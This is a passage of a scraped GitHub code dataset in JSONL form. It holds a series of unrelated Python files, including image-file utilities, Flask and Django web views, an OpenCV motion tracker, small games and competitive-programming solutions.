vdo_trk:\r\n vdo_trk.run()\r\n","repo_name":"Jierui-Liu/ZTE_challenge_sort_top9","sub_path":"stage2_deepsort/yolov3_deepsort.py","file_name":"yolov3_deepsort.py","file_ext":"py","file_size_in_byte":4571,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"68"} +{"seq_id":"6335070143","text":"import cv2\nimport os\nimport shutil\nimport numpy as np\nimport tqdm\nfrom PIL import Image\n\n\ndef movefile(srcpath, path1, path2):\n for root, dirs, filenames in os.walk(srcpath):\n n = 1\n for filename in filenames:\n file = filename[:-4]+'.jpg'\n print(n)\n n += 1\n # img = cv2.imread(\"H:\\\\2c_zw\\\\test\\\\label\\\\11.png\")\n # cv2.bitwise_not(img, img)\n # cv2.imwrite(\"H:\\\\2c_zw\\\\test\\\\label\\\\111.png\",img)\n # # cv2.imshow('a',img)\n # # cv2.waitKey(0)\n # exit(0)\n # if len(img[img == 255]) / (1024 * 1024 * 3)==0.0:\n shutil.move(os.path.join(path1, file),path2)\n\n\ndef delfile(path):\n name_list = [x for x in os.listdir(path) if x.endswith(\".png\")]\n for file in name_list:\n if \"_10\" in file or \"_7_\" in file:\n print(os.path.join(path, file))\n # shutil.rmtree(os.path.join(path, file))\n os.remove(os.path.join(path, file))\n\n\ndef select_bypilxo(path):\n name_list = [x for x in os.listdir(path) if x.endswith(\".png\")]\n count = 0\n for file in name_list:\n img = cv2.imread(os.path.join(path, file))\n # print(np.sum(np.where(img[:, :, 0] > 0)))\n # print(512 * 512 * 4 / 5)\n temp = np.zeros((img.shape[0], img.shape[1]))\n temp[np.where(img[:, :, 0] > 0)] = 1 # 非黑色区域 img[:, :, 0] = 0 黑色\n # print(np.sum(temp))\n if np.sum(temp) < (512 * 512) * 0.7: # 非黑色区域大于 4/5 移除\n count += 1\n os.remove(os.path.join(path, file))\n print(\"remove ---> \", file)\n print(\"finished remove file :\", count)\n\n# 2347 1/7 2452 1/5 47161 50141\n\ndef gray2rgb(path):\n\n im_gray = cv2.imread(path, cv2.IMREAD_GRAYSCALE)\n im_color = cv2.applyColorMap(im_gray, cv2.COLORMAP_JET)\n cv2.imwrite('ndvi_color.jpg', im_color)\n\n\nif __name__ == '__main__':\n # sourcefile_dir = r\"D:\\dataset\\cskin\\flw\\train_up2400_down1000_flw_1024\\select_label\"\n # destfile_dir = r\"D:\\dataset\\cskin\\flw\\train_up2400_down1000_flw_1024\\image\"\n # destfile_dir1 = r\"D:\\dataset\\cskin\\flw\\train_up2400_down1000_flw_1024\\select_image\"\n # movefile()\n path = r\"G:\\dataset\\tianchi\\label\\crops\"\n # delfile(path)\n select_bypilxo(path)\n # gray2rgb(path)","repo_name":"richerd0703/python_tool","sub_path":"useful_code/select.py","file_name":"select.py","file_ext":"py","file_size_in_byte":2309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"72560942295","text":"\"\"\"Accessing the files.\"\"\"\nimport io\nimport mimetypes\nimport os\nimport zipfile\nfrom enum import Enum\n\nfrom flask import Blueprint, current_app, render_template, send_file, Response\n\nfrom sacredboard.app.data import NotFoundError, DataStorage\n\nfiles = Blueprint(\"files\", __name__)\n\n\nclass _FileType(Enum):\n ARTIFACT = 1\n SOURCE = 2\n\n\n_filetype_suffices = {\n _FileType.ARTIFACT: \"artifact\",\n _FileType.SOURCE: \"source\",\n}\n\n\ndef _get_binary_info(binary: bytes):\n hex_data = \"\"\n for i in range(0, 10):\n if i > 0:\n hex_data += \" \"\n hex_data += hex(binary[i])\n hex_data += \" ...\"\n return \"Binary data\\nLength: {}\\nFirst 10 bytes: {}\".format(len(binary), hex_data)\n\n\ndef get_file(file_id: str, download):\n \"\"\"\n Get a specific file from GridFS.\n\n Returns a binary stream response or HTTP 404 if not found.\n \"\"\"\n data = current_app.config[\"data\"] # type: DataStorage\n dao = data.get_files_dao()\n file_fp, filename, upload_date = dao.get(file_id)\n\n if download:\n mime = mimetypes.guess_type(filename)[0]\n if mime is None:\n # unknown type\n mime = \"binary/octet-stream\"\n\n basename = os.path.basename(filename)\n return send_file(file_fp, mimetype=mime, attachment_filename=basename, as_attachment=True)\n\n else:\n rawdata = file_fp.read()\n try:\n text = rawdata.decode('utf-8')\n except UnicodeDecodeError:\n # not decodable as utf-8\n text = _get_binary_info(rawdata)\n html = render_template(\"api/file_view.html\", content=text)\n file_fp.close()\n return Response(html)\n\n\ndef get_files_zip(run_id: int, filetype: _FileType):\n \"\"\"Send all artifacts or sources of a run as ZIP.\"\"\"\n data = current_app.config[\"data\"]\n dao_runs = data.get_run_dao()\n dao_files = data.get_files_dao()\n run = dao_runs.get(run_id)\n\n if filetype == _FileType.ARTIFACT:\n target_files = run['artifacts']\n elif filetype == _FileType.SOURCE:\n target_files = run['experiment']['sources']\n else:\n raise Exception(\"Unknown file type: %s\" % filetype)\n\n memory_file = io.BytesIO()\n with zipfile.ZipFile(memory_file, 'w') as zf:\n for f in target_files:\n # source and artifact files use a different data structure\n file_id = f['file_id'] if 'file_id' in f else f[1]\n file, filename, upload_date = dao_files.get(file_id)\n data = zipfile.ZipInfo(filename, date_time=upload_date.timetuple())\n data.compress_type = zipfile.ZIP_DEFLATED\n zf.writestr(data, file.read())\n memory_file.seek(0)\n\n fn_suffix = _filetype_suffices[filetype]\n return send_file(memory_file, attachment_filename='run{}_{}.zip'.format(run_id, fn_suffix), as_attachment=True)\n\n\n@files.route(\"/api/file/\")\ndef api_file(file_id):\n \"\"\"Download a file.\"\"\"\n return get_file(file_id, True)\n\n\n@files.route(\"/api/fileview/\")\ndef api_fileview(file_id):\n \"\"\"View a file.\"\"\"\n return get_file(file_id, False)\n\n\n@files.route(\"/api/artifacts/\")\ndef api_artifacts(run_id):\n \"\"\"Download all artifacts of a run as ZIP.\"\"\"\n return get_files_zip(run_id, _FileType.ARTIFACT)\n\n\n@files.route(\"/api/sources/\")\ndef api_sources(run_id):\n \"\"\"Download all sources of a run as ZIP.\"\"\"\n return get_files_zip(run_id, _FileType.SOURCE)\n\n\n@files.errorhandler(NotFoundError)\ndef handle_not_found_error(e):\n \"\"\"Handle exception when a metric is not found.\"\"\"\n return \"Couldn't find resource:\\n%s\" % e, 404\n\n\ndef initialize(app, app_config):\n \"\"\"Register the module in Flask.\"\"\"\n app.register_blueprint(files)\n","repo_name":"chovanecm/sacredboard","sub_path":"sacredboard/app/webapi/files.py","file_name":"files.py","file_ext":"py","file_size_in_byte":3711,"program_lang":"python","lang":"en","doc_type":"code","stars":181,"dataset":"github-code","pt":"68"} +{"seq_id":"15211370740","text":"from django.db import models\nfrom django.urls import reverse\nfrom datetime import date\nfrom django.contrib.auth.models import User\n\n#Items Model \nclass Items(models.Model):\n name = models.CharField(max_length = 20)\n\n# Create your models here.\nclass Pokemon(models.Model):\n name = models.CharField(max_length = 30),\n type = models.CharField(max_length = 10),\n weight = models.IntegerField(),\n items = models.ManyToManyField(Items)\n\n# A tuple of 2\nLOCATION = (\n ('1', \"Grassland\"),\n ('2', \"Mountains\"),\n ('3', \"Sea:\")\n)\n\n#Catch Date model \nclass Location(models.Model):\n date = models.DateField('feeding date')\n location = models.CharField(\n max_length=1,\n choices=LOCATION,\n default=LOCATION[0][0]\n )\n\nuser = models.ForeignKey(User, on_delete=models.CASCADE)\n\n#POKEMON FK \npokemon = models.ForeignKey(Pokemon, on_delete=models.CASCADE)\n\ndef __str__(self):\n return f\"{self.get_location_display()} on {self.date}\"\nclass Meta:\n ordering = ['-date']","repo_name":"0xnimbus/pokemon-collector","sub_path":"main_app/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1017,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"12278358829","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\n\nimport lagrange as plynm\n\nr = range(4)\nk = [3,5, 7, 1]\n\np= [i for i in range(-10, 11)]\nl=[]\n\nfor i in p:\n l.append(plynm.lagrange_generator(r, k, i))\n\nx = np.array(p)\ny = np.array(l)\nxhat = np.array(r)\nyhat = np.array(k)\n\nplt.plot(x, y, xhat, yhat)\nplt.show()\n","repo_name":"trizzle21/Datathon2016","sub_path":"Sample/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":316,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"43561143547","text":"import arcpy\nimport csv\n\n# Set your workspace to the folder containing the new geodatabase\narcpy.env.workspace = r\"C:\\Path\\to\\Your\\Workspace\"\n\n# Define the path to your new geodatabase\nnew_geodatabase = r\"C:\\Path\\to\\Your\\New\\Geodatabase.gdb\"\n\n# Access your ArcGIS Pro project\naprx = arcpy.mp.ArcGISProject(\"C:\\Path\\to\\Your\\Project.aprx\")\n\n# Load the CSV file with updated data sources\ncsv_file = r\"C:\\Path\\to\\Your\\Input\\File.csv\"\n\n# Create a dictionary to map LayerName to new data sources\ndata_source_mapping = {}\n\n# Read the CSV file and populate the mapping dictionary\nwith open(csv_file, \"r\") as file:\n csv_reader = csv.DictReader(file)\n for row in csv_reader:\n data_source_mapping[row[\"LayerName\"]] = row[\"DataSource\"]\n\n# Iterate through the map(s) in your project\nfor map in aprx.listMaps():\n # Create a list to store the layer names and data source paths\n layer_info = []\n\n # Iterate through layers in the map\n for layer in map.listLayers():\n # Check if the layer is a feature layer\n if layer.isFeatureLayer:\n new_data_source = data_source_mapping.get(layer.name)\n\n if new_data_source:\n # Update the layer's data source\n layer.updateConnectionProperties(layer.connectionProperties, new_data_source)\n layer_info.append((layer.name, layer.dataSource, new_data_source))\n\n # Print the layer information for this map\n print(f\"Layers updated in map '{map.name}':\")\n for name, old_source, new_source in layer_info:\n print(f\" Layer Name: {name}\")\n print(f\" Old Data Source: {old_source}\")\n print(f\" New Data Source: {new_source}\")\n print()\n\n# Save the changes to your project\naprx.save()\n","repo_name":"math-eaton/GRID3_mapProduction","sub_path":"updatePaths/dataMatchingDictionary.py","file_name":"dataMatchingDictionary.py","file_ext":"py","file_size_in_byte":1733,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"73727786457","text":"#\n# @lc app=leetcode.cn id=349 lang=python3\n#\n# [349] 两个数组的交集\n#\nclass Solution:\n def intersection(self, nums1: List[int], nums2: List[int]) -> List[int]:\n # return list(set(nums1) & set(nums2))\n '''\n res = []\n for i in nums1:\n if i not in res and i in nums2:\n res.append(i)\n \n return res\n '''\n\n if not nums1 or not nums2:\n return []\n nums1.sort()\n nums2.sort()\n if nums1[0] == nums2[0]:\n foo = self.intersection(nums1[1:],nums2[1:])\n if foo and foo[0] == nums1[0]:\n return foo\n else:\n return [nums1[0]]+foo\n elif nums1[0] delay):\n lastAlert = datetime.datetime.utcnow()\n return True\n else:\n return False\n\ndef startTracking(useTelegram=False, chat_id='', dic_fun={}, action=0):\n\n cap = cv2.VideoCapture()\n\n # Camera: open(0), File open(\"file.mp4\")\n cap.open(0 if not inputfile else inputfile)\n\n if cap.isOpened():\n ret, prev = cap.read()\n prev = cv2.resize(prev, (width, height))\n print('Press \\'q\\' to terminate')\n\n while (cap.isOpened()):\n\n ret, frame = cap.read()\n\n if ret == False:\n break\n \n frame = cv2.resize(frame, (width, height))\n # Make a diff between 2 frame\n diff = cv2.absdiff(prev, frame)\n # Convert to grayscale\n gray = cv2.cvtColor(diff, cv2.COLOR_BGR2GRAY)\n # Make a binary treshold\n ret, thresh = cv2.threshold(gray, binThresh, maxValue, cv2.THRESH_BINARY)\n # Apply a dilation\n elem = cv2.getStructuringElement(cv2.MORPH_RECT, (21, 21), (10, 10))\n dilat = cv2.dilate(thresh, elem, iterations=1)\n # Apply a blur twice\n gblur = cv2.blur(dilat, (5,5))\n gblur = cv2.blur(gblur, (5,5))\n # Canny the blur\n canny = cv2.Canny(gblur, cannyThresh, cannyThresh*2, apertureSize=3)\n # Find the contours\n contours, hierarchy = cv2.findContours(canny, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\n\n # Draw the bounding rect box of each contours\n totalArea = 0\n for c in contours:\n brect = cv2.boundingRect(c)\n cv2.rectangle(prev, brect, (0,255,0), 2)\n totalArea += cv2.contourArea(c)\n \n '''\n This section is only use when the program\n is run from telegram.py\n This part can be improve\n '''\n if useTelegram:\n if totalArea > areaThresh and canSendAlert():\n concatened = cv2.vconcat((frame, prev))\n cv2.imwrite('alert.jpg', concatened)\n dic_fun['alert'](chat_id)\n # capture\n if action.value == 1:\n cv2.imwrite('capture.jpg', frame)\n dic_fun['capture'](chat_id)\n # record 5 seconds video\n elif action.value == 2:\n # Define the codec and create VideoWriter object\n fourcc = cv2.VideoWriter_fourcc(*'mp4v')\n out = cv2.VideoWriter('record.mp4', fourcc, 20.0, (width,height))\n nframe, fps = (0, 20)\n prev = 0\n\n while nframe < fps*5:\n time_elapsed = time.time() - prev\n if time_elapsed > 1./fps:\n out.write(frame)\n prev = time.time()\n nframe += 1\n res, frame = cap.read()\n\n out.release()\n dic_fun['video'](chat_id)\n # stop\n elif action.value == 3:\n break\n else: # Show only when use without telegram\n cv2.imshow('Tracking', prev)\n\n # Set the current as previous\n prev = frame\n\n # Change the value in waitKey to change the frame rate\n if cv2.waitKey(25) & 0xFF == ord('q'):\n break\n\n print('Stop tracking')\n\n cap.release()\n cv2.destroyAllWindows()\n\n\n'''\nManage the program arguments\n'''\nif __name__ == \"__main__\":\n\n try:\n opts, args = getopt.getopt(sys.argv[1:], \"hi:\",[\"width=\",\"height=\"])\n except getopt.GetoptError:\n print('objtrack.py [-i movie.mp4]')\n sys.exit()\n\n for opt, arg in opts:\n if opt == '-h':\n print('objtrack.py [-i movie.mp4]')\n sys.exit()\n elif opt == '-i':\n inputfile = arg\n elif opt == '--width':\n width = int(arg)\n elif opt == '--height':\n height = int(arg)\n \n startTracking()\n","repo_name":"ThiBsc/myOpenCVprojects","sub_path":"moveTracking/src/objtrack.py","file_name":"objtrack.py","file_ext":"py","file_size_in_byte":4518,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"68"} +{"seq_id":"9291146168","text":"#from exercise_24 import create_board\nfrom exercise_26 import check_if_win\n\n\ngame = [[0, 0, 0],\n\t\t[0, 0, 0],\n\t\t[0, 0, 0]]\n\ndef create_board(dim, table):\n\tline = \"-\"+\"---\"*dim\n\tfor level in range(dim):\n\t\tprint(line)\n\t\tprint(str(table[level]).translate({91: 124, 93: 124, 44: 124, 49: 79, 50: 88, 48: 32, 32: None}).replace(\"|\",' |'))\n\telse:\n\t\tprint(line)\n#create_board(3,game)\n\n\ncounter = 0\nwhile counter < len([1 for x in game for i in x]):\n\tcreate_board(3,game)\n\tif check_if_win(game)==1:\n\t\tprint(\"wygrywa gracz 1!\")\n\t\tbreak\n\telif check_if_win(game)==2:\n\t\tprint(\"wygrywa gracz 2!\")\n\t\tbreak\n\tprint(check_if_win(game))\n\tplayer = 'one' if counter%2 else \"two\"\n\ttick = input(\"Player {}: Where would you like to place your char \\nformat: 1,2 \\n>> \".format(player))\n\tcoordinates = [int(x) for x in tick.split(',')]\n\n\tif game[coordinates[0]-1][coordinates[1]-1] == 0:\n\t\tgame[coordinates[0]-1][coordinates[1]-1] = 1 if counter%2 else 2\n\t\tcounter+=1\n\telse:\n\t\tprint(\"This move is forbidden\")\n\t\tcontinue\nelse:\n\tcreate_board(3,game)","repo_name":"Murtrag/PyPractice","sub_path":"practicePython/exercise_29.py","file_name":"exercise_29.py","file_ext":"py","file_size_in_byte":1021,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"37055631408","text":"#!/usr/bin/env python\nimport coloreffect\n\nclass C(coloreffect.ColorEffect):\n def colmod(self,r,g,b):\n l = (max(r,g,b)+min(r,g,b))/2\n ig=int(round(l))\n return '%02x%02x%02x' % (ig,ig,ig)\n\nc = C()\nc.affect()\n","repo_name":"valerioa/Inkscape-MacOS-Curated-Build","sub_path":"share/extensions/color_desaturate.py","file_name":"color_desaturate.py","file_ext":"py","file_size_in_byte":216,"program_lang":"python","lang":"en","doc_type":"code","stars":39,"dataset":"github-code","pt":"68"} +{"seq_id":"23190825266","text":"import numpy as np\n\nclass Pattern(object):\n def __init__(self, idx, left_margin, top_margin, width, height):\n self.idx = int(idx[1:])\n self.left_margin = int(left_margin)\n self.top_margin = int(top_margin)\n self.height = int(height)\n self.width = int(width)\n self.total = self.height * self.width\n \n def plot(self, fabric):\n vert = self.top_margin + self.height\n hor = self.left_margin + self.width\n\n for row_idx, row in enumerate(fabric):\n for col_idx, col in enumerate(row): \n if row_idx in range(self.top_margin, vert) and col_idx in range(self.left_margin, hor):\n if col == 0:\n fabric[row_idx][col_idx] = self.idx\n else:\n fabric[row_idx][col_idx] = -1\n \n return fabric\n\n def __str__(self):\n return f'{self.idx} @ {self.left_margin},{self.top_margin} - {self.width}x{self.height}'\n\n\ndef print_fabric(fabric):\n for row in fabric:\n print(np.array_str(row))\n \n return None\n\n\ndef check_fabric(fabric):\n cnt = 0\n for row in fabric:\n cnt += np.sum(row == -1)\n\n return cnt\n\n\nwith open('day3.txt') as fin:\n contents = fin.readlines()\n\nfabric = np.zeros((1000,1000))\n\npattern_list = []\n\nfor item in contents:\n pieces = item.strip().split(' ')\n\n margins = pieces[2].split(',')\n left_margin = margins[0]\n top_margin = margins[1].strip(':')\n\n dimensions = pieces[3].split('x')\n width = dimensions[0]\n height = dimensions[1]\n idx = pieces[0].strip()\n\n # print(left_margin, top_margin, width, height)\n pattern_list.append(Pattern(idx, left_margin, top_margin, width, height))\n\nfor pattern in pattern_list:\n print(pattern)\n fabric = pattern.plot(fabric)\n\nfor pattern in pattern_list:\n cnt = 0\n for row in fabric:\n cnt += np.sum(row == pattern.idx)\n \n if cnt == pattern.total:\n print(f'{pattern.idx} had no overlaps')\n\ncollisions = check_fabric(fabric)\n\n# print_fabric(fabric)\nprint(f'Total number of overlaps = {collisions}')","repo_name":"jphussey05/aoc2018","sub_path":"day3.py","file_name":"day3.py","file_ext":"py","file_size_in_byte":2138,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"13865305430","text":"from django.shortcuts import render, get_object_or_404, redirect\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth import get_user_model\nfrom django.core.paginator import Paginator\n\nfrom .models import Post, Group, Follow\nfrom .forms import PostForm, CommentForm\n\nUser = get_user_model()\n\n\ndef index(request):\n post_list = Post.objects.all()\n paginator = Paginator(post_list, 10)\n page_number = request.GET.get('page')\n page = paginator.get_page(page_number)\n return render(request, \"index.html\", {'page': page, })\n\n\ndef group_posts(request, slug):\n group = get_object_or_404(Group, slug=slug)\n posts = group.groups.all()[:10]\n paginator = Paginator(posts, 10)\n page_number = request.GET.get('page')\n page = paginator.get_page(page_number)\n return render(\n request, \"group.html\", {\n \"page\": page, \"group\": group})\n\n\n@login_required\ndef new_post(request):\n form = PostForm(request.POST or None,\n files=request.FILES or None)\n if form.is_valid():\n obj = form.save(commit=False)\n obj.author = request.user\n obj.save()\n return redirect(\"index\")\n return render(request, \"new_post.html\", {\"form\": form})\n\n\ndef profile(request, username):\n author = get_object_or_404(User, username=username)\n post_list = author.posts.all()\n paginator = Paginator(post_list, 10)\n page_number = request.GET.get('page')\n page = paginator.get_page(page_number)\n subscribe = False\n if request.user.is_authenticated:\n subscribe = Follow.objects.filter(\n user=request.user,\n author__username=username).exists()\n return render(\n request, \"profile.html\", {\n 'page': page,\n 'username': username,\n 'author': author,\n 'subscribe': subscribe})\n\n\ndef post_view(request, username, post_id):\n post = get_object_or_404(Post,\n id=post_id,\n author__username=username)\n form = CommentForm()\n comments = post.comments.all()\n author = post.author\n posts_count = author.posts.count()\n return render(request, 'post.html', {'post': post,\n 'form': form,\n 'comments': comments,\n 'posts_count': posts_count,\n 'author': author})\n\n\n@login_required\ndef post_edit(request, username, post_id):\n post = get_object_or_404(Post, id=post_id)\n if username != request.user.username:\n return redirect('post', username, post_id)\n form = PostForm(data=request.POST or None,\n files=request.FILES or None,\n instance=post)\n if form.is_valid():\n form.save()\n return redirect('post', username, post_id)\n return render(\n request, 'new_post.html', {\n 'form': form, 'is_edit': True,\n 'username': username,\n 'post_id': post_id,\n 'post': post})\n\n\ndef page_not_found(request, exception):\n return render(\n request,\n \"misc/404.html\",\n {\"path\": request.path},\n status=404\n )\n\n\ndef server_error(request):\n return render(request, \"misc/500.html\", status=500)\n\n\n@login_required\ndef add_comment(request, username, post_id):\n post = get_object_or_404(Post,\n author__username=username,\n id=post_id)\n author = post.author\n posts_count = author.posts.count()\n form = CommentForm(request.POST or None)\n if form.is_valid():\n new_comment = form.save(commit=False)\n new_comment.post = post\n new_comment.author = request.user\n new_comment.post_id = post_id\n new_comment.save()\n return redirect('post', username, post_id)\n return render(request, 'post.html', {'post': post,\n 'form': form,\n 'posts_count': posts_count})\n\n\n@login_required\ndef follow_index(request):\n followed_posts = Post.objects.filter(author__following__user=request.user)\n paginator = Paginator(followed_posts, 10)\n page_number = request.GET.get('page')\n page = paginator.get_page(page_number)\n return render(request, 'follow.html', {'page': page})\n\n\n@login_required\ndef profile_follow(request, username):\n user = User.objects.get(username=username)\n active_follow = Follow.objects.filter(user=request.user, author=user)\n if request.user != user and not active_follow:\n Follow.objects.get_or_create(user=request.user, author=user)\n return redirect('profile', username)\n\n\n@login_required\ndef profile_unfollow(request, username):\n Follow.objects.filter(\n user=request.user,\n author__username=username).delete()\n return redirect('profile', username)\n","repo_name":"Kutaraev/Yatube-Social-Network","sub_path":"yatube/posts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4912,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"} +{"seq_id":"16081311354","text":"from django.urls import include, path\n\nfrom . import views\n\nurlpatterns = [\n path(\"profile//\", views.userProfile, name=\"user-profile\"),\n path(\"update-user/\", views.updateUser, name=\"update-user\"),\n # Htmx urls\n path(\"search-user/\", views.searchUser, name=\"search-user\"),\n path(\"user//delete\", views.deleteUser, name=\"delete-user\"),\n # All Auth\n path(\"\", include(\"allauth.urls\")),\n]\n","repo_name":"shtayeb/Django-Studybudy-YT","sub_path":"accounts/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":431,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"32520888585","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @File : user.py\n# @Author: zaoshu\n# @Date : 2020-02-10\n# @Desc :\nimport json\nimport flask\nfrom flask import Blueprint, request, session, g\n\nfrom common.config_util import ConfigUtil\nfrom common.http_util import HttpUtil\nfrom common.logger import Logger\nfrom common.log import log_this\nfrom common.login import login_required\nfrom common.response import Response\nimport config\nfrom model.user import User\nfrom service.user_service import UserService\n\nuser_bp = Blueprint('user', __name__)\nlog = Logger(__name__)\n\n\n@user_bp.route('/login', methods=['GET'])\n@log_this\ndef login():\n user = session.get('user')\n if user is not None:\n user = json.loads(user)\n g.user = User.fill_model(User(), user)\n return flask.redirect(request.args.get('redirect') or ConfigUtil.get_str_property(config.FRONT_URL))\n ticket = request.args.get('ticket')\n http_util = HttpUtil(\n url=f'{ConfigUtil.get_str_property(config.CAS_URL)}/cas/p3/serviceValidate?'\n f'format=json&service={request.url}&ticket={ticket}')\n response = http_util.get()\n user = UserService.get_user_from_cas_resp(response)\n g.user = user\n session['user'] = json.dumps(user.to_dict(), ensure_ascii=False)\n return flask.redirect(request.args.get('redirect') or ConfigUtil.get_str_property(config.FRONT_URL))\n\n\n@user_bp.route('/logout')\n@login_required\n@log_this\ndef logout():\n session.clear()\n g.user = None\n return Response.success(data=f'{ConfigUtil.get_str_property(config.CAS_URL)}/cas/logout')\n\n\n@user_bp.route('/current')\n@login_required\n@log_this\ndef current():\n return Response.success(g.user)\n","repo_name":"LianGee/galio","sub_path":"view/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":1671,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"68"} +{"seq_id":"11224110101","text":"from collections import defaultdict\n\n\ndef get_divisor(n: int) -> list:\n divisor = []\n for i in range(1, n + 1):\n if i * i > n:\n break\n if n % i == 0:\n divisor.append(i)\n if n // i != i:\n divisor.append(n // i)\n # divisor.sort() # if you want sorted divisors\n return divisor\n\n\nn = int(input())\n\nd0 = get_divisor(n)\nans0 = 0 # n自身\nfor di in d0:\n if di == 1:\n continue\n x = n // di\n while x % di == 0:\n x = x // di\n if x % di == 1:\n # print(di)\n ans0 += 1\n\nd1 = get_divisor(n - 1)\nans1 = len(d1) - 1\n\nans = ans0 + ans1\n# print(n - 1, ':', d1)\n# print(n, ':', d0)\nprint(ans)\n","repo_name":"Kevinrobot34/atcoder","sub_path":"abc/abc_126_211/abc161/f.py","file_name":"f.py","file_ext":"py","file_size_in_byte":690,"program_lang":"python","lang":"it","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"} +{"seq_id":"39600540937","text":"\"\"\"RGG that is made for fun of class\"\"\"\n\n# Import Statements----------------------------------------------------------------------------------------------------\nfrom dataclasses import dataclass, field\nfrom queue import PriorityQueue\nfrom typing import List, Tuple\nimport random\nimport time\nimport sys\nimport copy\n\n\n# Input Blocker--------------------------------------------------------------------------------------------------------\ndef blocking_input(acceptable_responses: [str]) -> str:\n \"\"\"calls input('>') until an appropriate input is selected\n :param acceptable_responses: the inputs that will get a go-ahead\"\"\"\n while True:\n output = input('>')\n if output in acceptable_responses:\n break\n return output\n\n\ndef dialogue_input():\n text_input = None\n while text_input is None:\n text_input = blocking_input([''])\n if text_input == '':\n break\n return text_input\n\n\nclass Direction:\n def __init__(self, direction: str, directions_used: List):\n self.direction = direction\n self.directions_used = directions_used\n\n def choose_direction(self):\n direction = blocking_input(['n', 's', 'e', 'w'])\n self.directions_used.append(direction)\n if direction in self.directions_used:\n print('You already went that way')\n\n\nclass Item:\n def __init__(self,\n name: str,\n hp_restore: int):\n self.name = name\n self.hp_restore = hp_restore\n\n def use_item(self, player):\n player.hp += min(player.max_hp, self.hp_restore)\n\n# Character class-------------------------------------------------------------------------------------------------------\nclass Character:\n \"\"\"All the methods a character in the game can perform\"\"\"\n def __init__(self,\n name: str,\n hp: float,\n max_hp: float,\n attack: float,\n speed: float,\n exp: int,\n level_exp: int,\n team: int):\n\n self.name = name\n self.hp = hp\n self.max_hp = max_hp\n self.attack = attack\n self.speed = speed\n self.team = team\n self.exp = exp\n self.level_exp = level_exp\n self.level = 1\n\n \"\"\":param max_hp: hp of an unharmed player\n :param level: level of the player, 1-100 eventually\n :param exp: value of the current exp a player has\n :param target_exp: value of the exp needed for a player's level to increase\"\"\"\n\n def is_alive(self) -> bool:\n \"\"\"Returns true if the player if they are alive\"\"\"\n return self.hp > 0\n\n def is_ally(self, other_player) -> bool:\n \"\"\"returns true if the player is an ally\"\"\"\n return other_player.team == self.team\n\n def deal_damage(self, other_player: 'Character'):\n \"\"\"The base method for dealing damage to an enemy player\n :param other_player: target of damage\"\"\"\n if other_player.is_alive():\n other_player.hp -= self.attack\n print(f'{self.name} attacked {other_player.name}')\n return other_player\n\n def get_all_enemies(self, players: List['Character']) -> List[int]:\n \"\"\"returns the location of all enemy players in a list\"\"\"\n return [\n index for index, player in enumerate(players)\n if not self.is_ally(player) and player.is_alive()\n ]\n\n def act(self, players: List):\n item = Item\n all_enemy_locations = self.get_all_enemies(players)\n if self.is_alive():\n if item in inventory:\n for item in inventory:\n Item.use_item(item, self)\n else:\n print('No items to use')\n if all_enemy_locations:\n targeted_index = all_enemy_locations[0]\n targeted_player = players[targeted_index]\n damaged_player = self.deal_damage(targeted_player)\n players[targeted_index] = damaged_player\n\n return players\n\n\nclass Ally(Character):\n def __init__(self,\n name: str,\n hp: float,\n max_hp: float,\n attack: float,\n speed: float,\n exp: int,\n level_exp: int):\n super().__init__(name, hp, max_hp, attack, speed, exp, level_exp, team=1)\n\n def fight_input(self):\n item = Item\n print('What will you do?')\n print('[f]: fight, [r]: run, [i]: item')\n fight_output = None\n while fight_output is None:\n fight_output = blocking_input(['f', 'r', 'i'])\n if fight_output == 'f':\n pass\n elif fight_output == 'r':\n print('You can]\\'t escape!')\n fight_output = None\n elif fight_output == 'i':\n if item in inventory:\n for item in inventory:\n print(f'Do you want to use {item}')\n item_input = blocking_input(['y', 'n'])\n if item_input == 'y':\n Item.use_item(item, self)\n elif item_input == 'n':\n fight_output = None\n\n else:\n print('Inventory is empty')\n fight_output = None\n\n def act(self, players: List):\n all_enemy_locations = self.get_all_enemies(players)\n if self.is_alive():\n if all_enemy_locations:\n print('Who do you attack?')\n print('\"0\", \"1\", \"2\", or \"3\" for the corresponding enemy position')\n print([player.name for player in players if player.team == 2 and player.is_alive])\n target_input = None\n while target_input is None:\n target_input = input('>')\n try:\n targeted_index = all_enemy_locations[int(target_input)]\n targeted_player = players[targeted_index]\n damaged_player = self.deal_damage(targeted_player)\n players[targeted_index] = damaged_player\n except ValueError:\n print('That is not a valid target')\n target_input = None\n except IndexError:\n print('That is not a valid target')\n target_input = None\n\n return players\n\n\nclass Enemy(Character):\n def __init__(self,\n name: str,\n hp: float,\n max_hp: float,\n attack: float,\n speed: float,\n exp: int,\n level_exp: int):\n super().__init__(name, hp, max_hp, attack, speed, exp, level_exp, team=2)\n\n def act(self, players: List):\n item = Item\n all_enemy_locations = self.get_all_enemies(players)\n if self.is_alive():\n if all_enemy_locations:\n targeted_index = random.choice(all_enemy_locations)\n targeted_player = players[targeted_index]\n damaged_player = self.deal_damage(targeted_player)\n players[targeted_index] = damaged_player\n\n return players\n\n\n# How the battle 